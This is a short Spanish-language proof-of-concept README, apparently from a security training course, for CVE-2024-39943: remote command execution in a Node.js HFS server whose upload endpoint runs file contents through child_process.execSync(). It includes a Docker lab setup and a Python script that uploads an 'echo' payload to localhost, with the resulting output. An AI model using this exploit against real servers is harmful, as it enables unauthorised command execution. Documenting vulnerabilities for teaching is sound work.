
Exploit de prueba de concepto para CVE-2024-39943, que demuestra la ejecución remota de código a través de la carga de archivos en un servidor HFS de Node.js usando child_process.execSync().
Escuela White Hat 3ª promoción – 노정민 (@JenmrR)
En el entorno del servidor HFS basado en Node.js, existe una vulnerabilidad que ejecuta el contenido de los archivos subidos mediante child_process.execSync().
Un atacante puede ejecutar comandos del sistema operativo directamente a través de la funcionalidad de carga de archivos, pudiendo ver resultados de comandos internos del servidor o controlar el sistema.
Esta vulnerabilidad corresponde a CVE-2024-39943 y representa una amenaza equivalente a la inyección de comandos (Remote Code Execution).
/upload, ejecutando el contenido del archivo subido directamente como comando.$ sudo docker-compose up --build -d
$ python3 poc.py
import requests
payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }
r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
Respuesta del servidor después de ejecutar el PoC:
Executed:
Hello_From_Hacked_Server

execSync() conlleva un grave riesgo de seguridad.